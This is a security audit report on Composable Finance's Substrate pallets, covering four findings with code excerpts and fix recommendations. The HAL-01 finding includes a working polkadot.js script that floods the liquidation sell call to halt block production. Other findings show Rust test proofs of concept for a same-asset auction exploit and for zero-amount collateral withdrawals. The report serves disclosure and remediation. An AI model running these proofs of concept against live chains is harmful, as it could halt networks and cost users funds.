



Composable.Finance

Substrate Pallet Security
Audit

Prepared by: Halborn

Date of Engagement: May 24th, 2022 - June 6th, 2022

Visit: Halborn.com

DOCUMENT REVISION HISTORY	3
CONTACTS	3
1 EXECUTIVE OVERVIEW	4
1.1 INTRODUCTION	5
1.2 AUDIT SUMMARY	5
1.3 TEST APPROACH & METHODOLOGY	5
RISK METHODOLOGY	6
1.4 SCOPE	8
2 ASSESSMENT SUMMARY & FINDINGS OVERVIEW	9
3 FINDINGS & TECH DETAILS	10
3.1 (HAL-01) HAL-01 DENIAL OF SERVICE CONDITION - CRITICAL	12
Description	12
Code Location	12
Proof Of Concept	13
Risk Level	14
Recommendation	14
3.2 (HAL-02) HAL-02 DUTCH AUCTION CREATION WITH THE SAME ASSET - HIGH	15
Description	15
Code Location	15
Proof Of Concept	16
Risk Level	17
Recommendation	17
3.3 (HAL-03) HAL-03 INVALID EXTRINSIC WEIGHT CALCULATION LEADS TO MULTIPLE ISSUES - MEDIUM	18

	Description	18
	Code Location	18
	Risk Level	19
	Recommendation	19
3.4	(HAL-04) HAL-04 ZERO AMOUNT COLLATERAL WITHDRAWAL - LOW	20
	Description	20
	Code Location	20
	Proof Of Concept	22
	Risk Level	22
	Recommendation	23
4	AUTOMATED TESTING	24
4.1	AUTOMATED ANALYSIS	25
	Description	25
	Results	25

DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE	AUTHOR
0.1	Document Creation	06/01/2022	Michal Bajor
0.2	Document Edits	06/04/2022	Michal Bajor
0.3	Draft Review	06/06/2022	Timur Guvenkaya
0.4	Draft Final Review	06/06/2022	Gabi Urrutia

CONTACTS

CONTACT	COMPANY	EMAIL
Rob Behnke	Halborn	Rob.Behnke@halborn.com
Steven Walbroehl	Halborn	Steven.Walbroehl@halborn.com
Gabi Urrutia	Halborn	Gabi.Urrutia@halborn.com
Timur Guvenkaya	Halborn	Timur.Guvenkaya@halborn.com
Michal Bajor	Halborn	Michal.Bajor@halborn.com



EXECUTIVE OVERVIEW

1.1 INTRODUCTION

Composable engaged Halborn to conduct a security audit on their smart contracts beginning on May 24th, 2022 and ending on June 6th, 2022 . Composable is a cross-chain and cross-layer interoperability platform which aims to resolve the current problem of a lack of cohesion between different decentralized finance (DeFi) protocols.

1.2 AUDIT SUMMARY

The team at Halborn was provided two weeks for the engagement and assigned a full-time security engineer to audit the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

- Identify potential security issues with the Composable pallets

In summary, Halborn identified some security risks that were mostly addressed by the Composable team.

1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy regarding the scope of the Composable Substrate pallets. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:

- Research into the architecture, purpose, and use of the platform.
- Smart contract manual code review and walkthrough to identify any logic issue.
- Mapping out possible attack vectors
- Thorough assessment of safety and usage of critical Rust variables and functions in scope that could lead to arithmetic vulnerabilities.
- Finding unsafe Rust code usage (`cargo-geiger`)
- On chain testing of core functions(`polkadot.js`).
- Active Fuzz testing {`cargo-fuzz`, `honggfuzz`}
- Scanning dependencies for known vulnerabilities (`cargo audit`).

RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the **LIKELIHOOD** of a security incident and the **IMPACT** should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. The quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that were used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

RISK SCALE - LIKELIHOOD

- 5 - Almost certain an incident will occur.
- 4 - High probability of an incident occurring.
- 3 - Potential of a security incident in the long term.
- 2 - Low probability of an incident occurring.
- 1 - Very unlikely issue will cause an incident.

RISK SCALE - IMPACT

- 5 - May cause devastating and unrecoverable impact or loss.
- 4 - May cause a significant level of impact or loss.

- 3 - May cause a partial impact or loss to many.
- 2 - May cause temporary impact or loss.
- 1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
----------	------	--------	-----	---------------

- 10 - CRITICAL
- 9 - 8 - HIGH
- 7 - 6 - MEDIUM
- 5 - 4 - LOW
- 3 - 1 - VERY LOW AND INFORMATIONAL

1.4 SCOPE

The review was scoped to the `pallets` directory using `94ba896370a25c4945716bf2e2d7867efd72ab8e` commit-id in `ComposableFi/composable` repository on the `halborn/angular-audit` branch.

- Pallets
 - Dutch Auction
 - Oracle
 - Lending
 - Liquidation

2. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
1	1	1	1	0

LIKELIHOOD

IMPACT

				(HAL-01)
				(HAL-02)
	(HAL-04)		(HAL-03)	

SECURITY ANALYSIS	RISK LEVEL	REMEDiation DATE
HAL-01 DENIAL OF SERVICE CONDITION	Critical	-
HAL-02 DUTCH AUCTION CREATION WITH THE SAME ASSET	High	-
HAL-03 INVALID EXTRINSIC WEIGHT CALCULATION LEADS TO MULTIPLE ISSUES	Medium	-
HAL-04 ZERO AMOUNT COLLATERAL WITHDRAWAL	Low	-



FINDINGS & TECH DETAILS

3.1 (HAL-01) HAL-01 DENIAL OF SERVICE CONDITION – CRITICAL

Description:

The `liquidation` pallet defines a `sell` function which internally calls the `liquidate` function, which takes a `Vec` as a parameter and can be called by anyone. The user controls the length and contents of this `Vec`. The `liquidate` function loops through every element in the vector until it reaches one which corresponds to the existing Liquidation Strategy. However, if an attacker submits a vector of big enough length containing values not corresponding to any Strategy, the block production might be halted, which leads to the Denial of Service condition for the whole chain.

Code Location:

Listing 1: `composable/frame/liquidations/src/lib.rs` (Line 153)

```
148 pub fn sell(
149     origin: OriginFor<T>,
150     order: Sell<T::MaybeAssetId, T::Balance>,
151     configuration: Vec<T::LiquidationStrategyId>,
152 ) -> DispatchResultWithPostInfo {
153     let who = ensure_signed(origin)?;
154     Self::liquidate(&who, order, configuration)?;
155     Ok(()).into()
156 }
```

Listing 2: `composable/frame/liquidations/src/lib.rs` (Line 250)

```
241 fn liquidate(
242     from_to: &Self::AccountId,
243     order: Sell<Self::MaybeAssetId, Self::Balance>,
244     configuration: Vec<Self::LiquidationStrategyId>,
245 ) -> Result<T::OrderId, DispatchError> {
246     let mut configuration = configuration;
247     if configuration.is_empty() {
```

```

248         configuration.push(DefaultStrategyIndex::::get())
249     };
250     for id in configuration {
251         let configuration = Strategies::::get(id);
252         if let Some(configuration) = configuration {
253             let result = match configuration {
254                 LiquidationStrategyConfiguration::DutchAuction(
255                     configuration) =>
256                     T::DutchAuction::ask(from_to, order.clone(),
257                     configuration),
258                 _ =>
259                     return Err(DispatchError::Other(
260                         "as for now, only auction liquidators
261                         implemented",
262                     )),
263             };
264             if let Ok(order_id) = result {
265                 Self::deposit_event(Event::::
266                     PositionWasSentToLiquidation {});
267                 return Ok(order_id)
268             }
269         }
270     }
271     Err(Error::::NoLiquidationEngineFound.into())
272 }

```

Proof Of Concept:

Listing 3

```

1 import { ApiPromise, WsProvider, } from "@polkadot/api";
2 import { Keyring } from "@polkadot/keyring";
3 import { cryptoWaitReady } from "@polkadot/util-crypto";
4
5 const ALICE = "5yNZjX24n2eg7W6EVamaTXNQbWCwchhThEaSWB7V3GRjtHeL ";
6
7 async function main() {
8     await cryptoWaitReady();
9     const keyring = new Keyring({ type: "sr25519", ss58Format: 2
10 });

```

```

10     const alice = keyring.addFromUri("//Alice", { name: "Alice
    ↳ default" });
11     const wsProvider = new WsProvider("ws://127.0.0.1:9988");
12     const api = await ApiPromise.create({ provider: wsProvider });
13     const order = {
14         pair: {
15             base: 1,
16             quote: 1,
17         },
18         take: {
19             amount: 100,
20             limit: 11110
21         }
22     };
23
24     const configuration = [];
25     for (let i = 0; i < 100000; i++) {
26         configuration.push(0);
27     }
28     const info = await api.tx.liquidations.sell(order,
    ↳ configuration).paymentInfo(alice);
29     console.log(`class=${info.class.toString()},\nweight=${info.
    ↳ weight.toString()},\npartialFee=${info.partialFee.toHuman()}`);
30
31     await api.tx.liquidations.sell(order, configuration).
    ↳ signAndSend(alice);
32 }
33
34 main().catch(console.error).finally(() => process.exit());

```

Risk Level:

Likelihood - 5

Impact - 5

Recommendation:

It is highly recommended to introduce a check that will verify that a user-provided vector's length does not exceed the predefined maximum size.

3.2 (HAL-02) HAL-02 DUTCH AUCTION CREATION WITH THE SAME ASSET - HIGH

Description:

Inside the `dutch-auction` pallet `ask` function accepts sell offers with the same asset provided as both base and quote. Please note, that this vulnerability also exists for a `xcm_sell` function.

This can result in situations when a victim pays, for example, 1000 tokens to get 100 tokens of the same type.

This vulnerability facilitates attacks, which require very little effort from the attacker and might yield high rewards.

Code Location:

Listing 4: `composable/frame/dutch-auction/src/lib.rs` (Line 380)

```
380 fn ask(
381     from_to: &Self::AccountId,
382     order: Sell<Self::MaybeAssetId, Self::Balance>,
383     configuration: TimeReleaseFunction,
384 ) -> Result<Self::OrderId, DispatchError> {
385     ensure!(order.is_valid(), Error::::OrderParametersIsInvalid
↳ );
386     let order_id = <OrdersIndex<T>>::increment();
387     let treasury = &T::PalletId::get().into_account();
388     let deposit = T::PositionExistentialDeposit::get();
389     <T::NativeCurrency as NativeTransfer<T::AccountId>>::transfer(
390         from_to, treasury, deposit, true,
391     )?;
392
393     let now = T::UnixTime::now().as_secs();
394     let order = SellOf:: {
395         from_to: from_to.clone(),
396         configuration,
397         order,
```

```

398         context: EDContext::<Self::Balance> { added_at: now,
    ↳ deposit },
399         total_amount_received: Self::Balance::zero(),
400     };
401
402     T::MultiCurrency::reserve(order.order.pair.base, from_to,
    ↳ order.order.take.amount)?;
403     SellOrders::<T>::insert(order_id, order);
404
405     Ok(order_id)
406 }

```

Proof Of Concept:

Listing 5

```

1  #[test]
2  fn halborn_tests_same_pair_auction() {
3      new_test_externalities().execute_with(|| {
4          Tokens::mint_into(BTC, &ALICE, 10000).unwrap();
5          Tokens::mint_into(BTC, &BOB, 10000).unwrap();
6
7          let alice_balance_before_auction = Tokens::balance(BTC, &
    ↳ ALICE);
8          let bob_balance_before_auction = Tokens::balance(BTC, &BOB
    ↳ );
9          println!("Alice balance before auction = {}",
    ↳ alice_balance_before_auction);
10         println!("Bob balance before auction = {}",
    ↳ bob_balance_before_auction);
11
12         let seller = AccountId::from_raw(ALICE.0);
13         let buyer = AccountId::from_raw(BOB.0);
14
15         let sell_amount: u128 = 100;
16         let take_amount = 10;
17
18         let sell_offer = Sell::new(BTC, PICA, sell_amount, fixed(
    ↳ take_amount));
19         let configuration = TimeReleaseFunction::LinearDecrease(
    ↳ LinearDecrease { total: 10 });
20

```

```

21         let ask_result = DutchAuction::ask(Origin::signed(seller),
↳   sell_offer, configuration);
22         assert!(ask_result.is_ok());
23
24         let order_id = crate::OrdersIndex::<Runtime>::get();
25         let result = DutchAuction::take(
26             Origin::signed(buyer),
27             order_id,
28             Take::new(sell_amount, fixed(take_amount)),
29         );
30
31         assert!(result.is_ok());
32         DutchAuction::on_finalize(42);
33
34         let alice_balance_after_auction = Tokens::balance(BTC, &
↳   ALICE);
35         let bob_balance_after_auction = Tokens::balance(BTC, &BOB)
↳   ;
36         println!("Alice balance after auction = {}",
↳   alice_balance_after_auction);
37         println!("Bob balance after auction = {}",
↳   bob_balance_after_auction);
38     });
39 }

```

Risk Level:

Likelihood - 5

Impact - 3

Recommendation:

Implementing a validation mechanism in the `ask` and `xcm-sell` functions is recommended to ensure that the base asset is not the same as the quote asset.

3.3 (HAL-03) HAL-03 INVALID EXTRINSIC WEIGHT CALCULATION LEADS TO MULTIPLE ISSUES - MEDIUM

Description:

The `liquidations` pallet defines a `sell` function responsible for creating a Dutch Auction for Liquidating a position. The weight associated with calling this extrinsic is a constant value of 10000. Such configuration is invalid, as the `sell` function accepts a `Vector` as a parameter, which length is controlled by the user. Two issues originate from this fact.

The first one is that regardless of the `Vector` size, the extrinsic will have a constant weight and would always be perceived as filling a constant space in the block.

The second one is related to fees associated with calling the extrinsic. Currently, the `sell` function is internally creating a Dutch Auction. Anyone can call the `sell` auction, similarly to the fact that anyone can create their own Dutch Auction via the `dutch-auction` pallet. There is a correlation between weights and fees. With the current weight configuration for the `sell` function, it is cheaper to create a Dutch Auction via the `liquidations` pallet rather than via the `dutch-auction` itself. The prerequisite for this is that there is already a desired configuration defined in the `liquidations` pallet.

Code Location:

Listing 6: `composable/frame/liquidations/src/weights.rs` (Line 13)

```
12 fn sell() -> Weight {  
13     10_000  
14 }
```

Risk Level:

Likelihood - 4

Impact - 2

Recommendation:

It is recommended to implement a dynamic weight calculation based on the size of user-supplied parameters, which size is unknown before the extrinsic call. Furthermore, it is advised to calculate the weight for the `sell` function so that the fees are the same or greater than the ones associated with interacting with `dutch-auction` directly.

3.4 (HAL-04) HAL-04 ZERO AMOUNT COLLATERAL WITHDRAWAL - LOW

Description:

The `lending` pallet defines a `withdraw_collateral` function that allows users to withdraw zero collateral. Zero amount wrappings can be abused if someone constantly calls `withdraw_collateral` with zero amount and fill the block space.

Code Location:

Listing 7: `composable/frame/lending/src/lib.rs`

```
1273 fn withdraw_collateral(
1274     market_id: &Self::MarketId,
1275     account: &Self::AccountId,
1276     amount: CollateralLpAmountOf<Self>,
1277 ) -> Result<(), DispatchError> {
1278     let market = Self::get_market(market_id)?;
1279
1280     let collateral_balance = AccountCollateral::<T>::try_get(
1281         ↪ market_id, account)
1282         // REVIEW: Perhaps don't default to zero
1283         // REVIEW: What is expected behaviour if there is no
1284         ↪ collateral?
1285         .unwrap_or_else(|_| CollateralLpAmountOf::<Self>::zero());
1286
1287     ensure!(amount <= collateral_balance, Error::<T>::
1288         ↪ NotEnoughCollateralToWithdraw);
1289
1290     let borrow_asset = T::Vault::asset_id(&market.
1291         ↪ borrow_asset_vault)?;
1292     let borrower_balance_with_interest =
1293         Self::total_debt_with_interest(market_id, account)?.
1294         ↪ unwrap_or_zero();
1295
1296     let borrow_balance_value =
1297         Self::get_price(borrow_asset,
1298         ↪ borrower_balance_with_interest)?;
```

```

1293
1294     let collateral_balance_after_withdrawal_value =
1295         Self::get_price(market.collateral_asset,
1296             ↳ collateral_balance.safe_sub(&amount)?)?;
1297
1298     let borrower_after_withdrawal = BorrowerData::new(
1299         collateral_balance_after_withdrawal_value,
1300         borrow_balance_value,
1301         market
1302             .collateral_factor
1303             .try_into_validated()
1304             .map_err(|_| Error::::::Overflow)?, // TODO: Use a
1305             ↳ proper error message?
1306         market.under_collateralized_warn_percent,
1307     );
1308
1309     ensure!(
1310         !borrower_after_withdrawal.should_liquidate()?,
1311         Error::::::WouldGoUnderCollateralized
1312     );
1313
1314     let market_account = Self::account_id(market_id);
1315
1316     ensure!(
1317         <T as Config>::MultiCurrency::can_deposit(market.
1318             ↳ collateral_asset, account, amount) ==
1319             DepositConsequence::Success,
1320         Error::::::TransferFailed
1321     );
1322
1323     ensure!(
1324         <T as Config>::MultiCurrency::can_withdraw(
1325             market.collateral_asset,
1326             &market_account,
1327             amount
1328         )
1329         .into_result()
1330         .is_ok(),
1331         Error::::::TransferFailed
1332     );
1333
1334     AccountCollateral::::try_mutate(market_id, account, |
1335     ↳ collateral_balance| {
1336         let new_collateral_balance =

```



```

1332          // REVIEW: Should we default if there's no collateral?
           ↳ Or should an error (something like "NoCollateralToWithdraw") be
           ↳ returned instead?
1333          collateral_balance.unwrap_or_default().safe_sub(&
           ↳ amount)?;
1334
1335          collateral_balance.replace(new_collateral_balance);
1336
1337          Result::<(), DispatchError>::Ok(())
1338      })?;
1339      <T as Config>::MultiCurrency::transfer(
1340          market.collateral_asset,
1341          &market_account,
1342          account,
1343          amount,
1344          true,
1345      )
1346      .expect("impossible; qed;");
1347      Ok(())
1348  }

```

Proof Of Concept:

Listing 8

```

1  #[test]
2  fn zero_amount_collateral_withdraw() {
3      new_test_ext().execute_with(|| {
4          System::set_block_number(1);
5          let (market_id, _vault_id) = create_simple_market();
6          Lending::withdraw_collateral(Origin::signed(*ALICE),
           ↳ market_id, 0).unwrap();
7      })
8  }

```

Risk Level:

Likelihood - 2

Impact - 2

Recommendation:

It is recommended to add checks to ensure collateral value to be withdrawn is bigger than 0.

DRAFT



AUTOMATED TESTING



4.1 AUTOMATED ANALYSIS

Description:

Halborn used automated security scanners to assist with detection of well-known security issues and vulnerabilities. Among the tools used was `cargo audit`, a security scanner for vulnerabilities reported to the RustSec Advisory Database. All vulnerabilities published in <https://crates.io> are stored in a repository named The RustSec Advisory Database. `cargo audit` is a human-readable version of the advisory database which performs a scanning on Cargo.lock. Security Detections are only in scope. All vulnerabilities shown here were already disclosed in the above report. However, to better assist the developers maintaining this code, the auditors are including the output with the dependencies tree, and this is included in the cargo audit output to better know the dependencies affected by unmaintained and vulnerable crates.

Results:

Crate: hyper

Version: 0.10.16

Title: Integer overflow in `hyper`'s parsing of the `Transfer-Encoding` header leads to data loss

Date: 2021-07-07

ID: RUSTSEC-2021-0079

URL: <https://rustsec.org/advisories/RUSTSEC-2021-0079>

Solution: Upgrade to `>=0.14.10`

Crate: hyper

Version: 0.10.16

Title: Lenient `hyper` header parsing of `Content-Length` could allow request smuggling

Date: 2021-07-07

ID: RUSTSEC-2021-0078

URL: <https://rustsec.org/advisories/RUSTSEC-2021-0078>

Solution: Upgrade to `>=0.14.10`

Crate: lru
 Version: 0.6.6
 Title: Use after free in lru crate
 Date: 2021-12-21
 ID: RUSTSEC-2021-0130
 URL: <https://rustsec.org/advisories/RUSTSEC-2021-0130>
 Solution: Upgrade to $\geq 0.7.1$

Crate: time
 Version: 0.1.44
 Title: Potential segfault in the time crate
 Date: 2020-11-18
 ID: RUSTSEC-2020-0071
 URL: <https://rustsec.org/advisories/RUSTSEC-2020-0071>
 Solution: Upgrade to $\geq 0.2.23$

Crate: tokio
 Version: 0.3.7
 Title: Task dropped in wrong thread when aborting `LocalSet` task
 Date: 2021-07-07
 ID: RUSTSEC-2021-0072
 URL: <https://rustsec.org/advisories/RUSTSEC-2021-0072>
 Solution: Upgrade to $\geq 1.5.1$, $< 1.6.0$ OR $\geq 1.6.3$, $< 1.7.0$ OR $\geq 1.7.2$, $< 1.8.0$ OR $\geq 1.8.1$

Crate: tokio
 Version: 0.3.7
 Title: Data race when sending and receiving after closing a `oneshot` channel
 Date: 2021-11-16
 ID: RUSTSEC-2021-0124
 URL: <https://rustsec.org/advisories/RUSTSEC-2021-0124>
 Solution: Upgrade to $\geq 1.8.4$, $< 1.9.0$ OR $\geq 1.13.1$

Crate: aes-soft
 Version: 0.6.4
 Warning: unmaintained
 Title: `aes-soft` has been merged into the `aes` crate

Date: 2021-04-29
ID: RUSTSEC-2021-0060
URL: <https://rustsec.org/advisories/RUSTSEC-2021-0060>

Crate: aesni
Version: 0.10.0
Warning: unmaintained
Title: `aesni` has been merged into the `aes` crate
Date: 2021-04-29
ID: RUSTSEC-2021-0059
URL: <https://rustsec.org/advisories/RUSTSEC-2021-0059>

Crate: cpuid-bool
Version: 0.2.0
Warning: unmaintained
Title: `cpuid-bool` has been renamed to `cpufeatures`
Date: 2021-05-06
ID: RUSTSEC-2021-0064
URL: <https://rustsec.org/advisories/RUSTSEC-2021-0064>

Crate: net2
Version: 0.2.37
Warning: unmaintained
Title: `net2` crate has been deprecated; use `socket2` instead
Date: 2020-05-01
ID: RUSTSEC-2020-0016
URL: <https://rustsec.org/advisories/RUSTSEC-2020-0016>

Crate: stdweb
Version: 0.4.20
Warning: unmaintained
Title: `stdweb` is unmaintained
Date: 2020-05-04
ID: RUSTSEC-2020-0056
URL: <https://rustsec.org/advisories/RUSTSEC-2020-0056>

Crate: sp-version
Version: 5.0.0

Warning: yanked

DRAFT

THANK YOU FOR CHOOSING

// HALBORN